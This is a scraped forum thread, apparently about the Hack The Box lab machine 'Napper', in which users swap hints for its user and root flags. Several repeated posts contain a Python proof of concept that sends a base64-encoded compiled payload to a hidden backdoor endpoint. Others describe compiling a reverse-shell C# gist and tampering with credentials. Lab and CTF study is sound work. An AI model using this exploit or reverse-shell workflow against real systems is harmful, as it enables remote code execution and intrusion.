[chillywilly]

nothing special , make sure the payload namespace is defined, and within it, a Run class is declared. And your Main method serves as the entry point to the app. When the app starts, a new instance of the Run class is created, which in turn executes the constructor and the code within it

[0bkraken]

I've already got the user flag, any clues about root?

also stuck here atm :/

well well it's elastic related, should be, that thing running on port 9200
port forward it and play...

i am still stuck though

is trying decrypt the blob on elastic to get backup user's pass, the way to go or am I missing something?

[Azad23]

I've already got the user flag, any clues about root?

also stuck here atm :/

well well it's elastic related, should be, that thing running on port 9200
port forward it and play...

i am still stuck though

is trying decrypt the blob on elastic to get backup user's pass, the way to go or am I missing something?

inside the .exe folder there is .env file ... dowload it ... change the credential and re upload ...

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | https://breached.hn/Forum-Ban-Appeals if you feel this is incorrect.

[hcker01]

nothing special , make sure the payload namespace is defined, and within it, a Run class is declared. And your Main method serves as the entry point to the app. When the app starts, a new instance of the Run class is created, which in turn executes the constructor and the code within it

ok i used the code from github
https://gist.github.com/BankSecurity/55f...b79b2a83cc
and execute it on my windows machine with csc.exe and then base64 and used the python code to send the payload
I am really lost

[bololohaha]

I've already got the user flag, any clues about root?

also stuck here atm :/

well well it's elastic related, should be, that thing running on port 9200
port forward it and play...

i am still stuck though

is trying decrypt the blob on elastic to get backup user's pass, the way to go or am I missing something?

inside the .exe folder there is .env file ... dowload it ... change the credential and re upload ...

And how you got the credential? Sounds like you need to decrypt the value from the blob, using the IV and key from `a.exe`, is this the correct path?

[cds77777]

Para la bandera del usuario usen:

https://gist.github.com/BankSecurity/55f...b79b2a83cc
En el enlace encuentran un archivo .cv solo le cambian la IP el puerto y deben de ponerme donde dice powershell se lo cambian a cmd.exe y compilan el archivo y luego lo pasan a base 64 que es el que pone payload:

Base64 -w0 payload.exe | xclip -sel clip donde dice payload.exe es despues de la compilacion que deben de hacer con el link que les deje adjunto

adicional hay un PoC
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts=["napper.htb"]
payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       r_ssl = requests.post(url_ssl, data=form_field, verify=False)
       print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
   except KeyboardInterupt:
       exit()
   except Exception as e:
       print("e")
       pass

Ok if I understand , here I must put on the field "payload" on the poc.py my base64 encoded payload. That I get when I compile the file, then I use base64 -w0 and I copy the result and paste it on the  payload = "<>" field. I compiled the file with mcs. But somehow, I'm not having results, on the rev shell. I try usign  dobule quotes , single putting my payload inside of the <> field, deleting it, but I cannot have the reverse shell. For sure, Im doing something wrong that I dont know.

[cds77777]

Para la bandera del usuario usen:

https://gist.github.com/BankSecurity/55f...b79b2a83cc
En el enlace encuentran un archivo .cv solo le cambian la IP el puerto y deben de ponerme donde dice powershell se lo cambian a cmd.exe y compilan el archivo y luego lo pasan a base 64 que es el que pone payload:

Base64 -w0 payload.exe | xclip -sel clip donde dice payload.exe es despues de la compilacion que deben de hacer con el link que les deje adjunto

adicional hay un PoC
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts=["napper.htb"]
payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       r_ssl = requests.post(url_ssl, data=form_field, verify=False)
       print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
   except KeyboardInterupt:
       exit()
   except Exception as e:
       print("e")
       pass

Ok if I understand , here I must put on the field "payload" on the poc.py my base64 encoded payload. That I get when I compile the file, then I use base64 -w0 and I copy the result and paste it on the  payload = "<>" field. I compiled the file with mcs. But somehow, I'm not having results, on the rev shell. I try usign  dobule quotes , single putting my payload inside of the <> field, deleting it, but I cannot have the reverse shell. For sure, Im doing something wrong that I dont know.

I guess we need to upload the exe file to the remote machine first. stuck at the internal site, don't know how to login

---

Maybe they used a custom dict or just saw the name of the machine so they recognized the vulnerability.

Read the blog posts, entries, on the website and its internal sites, once you could logon there. It's all there, also specifies sources regarding that vulnerability.

How can I login there ?

I find something useful in "https://app.napper.htb/posts/setup-basic-auth-powershell/" step 6, which solve my problem. Thanks. It seams I need to learn more recon things.

Have you got the credential? any hint?

You're right, hmmm right now im trying to log on the machine .. but this is not working.  

Seems like there is something over here https://app.napper.htb/posts/setup-basic...owershell/ 

But I dont know how to create I used "post" with burpsuit but I cant have success login in

[gh0s7]

Para la bandera del usuario usen:

https://gist.github.com/BankSecurity/55f...b79b2a83cc
En el enlace encuentran un archivo .cv solo le cambian la IP el puerto y deben de ponerme donde dice powershell se lo cambian a cmd.exe y compilan el archivo y luego lo pasan a base 64 que es el que pone payload:

Base64 -w0 payload.exe | xclip -sel clip donde dice payload.exe es despues de la compilacion que deben de hacer con el link que les deje adjunto

adicional hay un PoC
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts=["napper.htb"]
payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       r_ssl = requests.post(url_ssl, data=form_field, verify=False)
       print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
   except KeyboardInterupt:
       exit()
   except Exception as e:
       print("e")
       pass

Ok if I understand , here I must put on the field "payload" on the poc.py my base64 encoded payload. That I get when I compile the file, then I use base64 -w0 and I copy the result and paste it on the  payload = "<>" field. I compiled the file with mcs. But somehow, I'm not having results, on the rev shell. I try usign  dobule quotes , single putting my payload inside of the <> field, deleting it, but I cannot have the reverse shell. For sure, Im doing something wrong that I dont know.

I guess we need to upload the exe file to the remote machine first. stuck at the internal site, don't know how to login

---

Read the blog posts, entries, on the website and its internal sites, once you could logon there. It's all there, also specifies sources regarding that vulnerability.

How can I login there ?

I find something useful in "https://app.napper.htb/posts/setup-basic-auth-powershell/" step 6, which solve my problem. Thanks. It seams I need to learn more recon things.

Have you got the credential? any hint?

You're right, hmmm right now im trying to log on the machine .. but this is not working.  

Seems like there is something over here https://app.napper.htb/posts/setup-basic...owershell/ 

But I dont know how to create I used "post" with burpsuit but I cant have success login in

Someone mentioned to read on step 6 of that post. Try the creds there.

[chillywilly]

i got the blob and the .exe and the hint about what language it is, any good tutes on how to reverse?

[tot4llyNOTaFed]

What are we supposed to do after getting the blob and seed on elastic?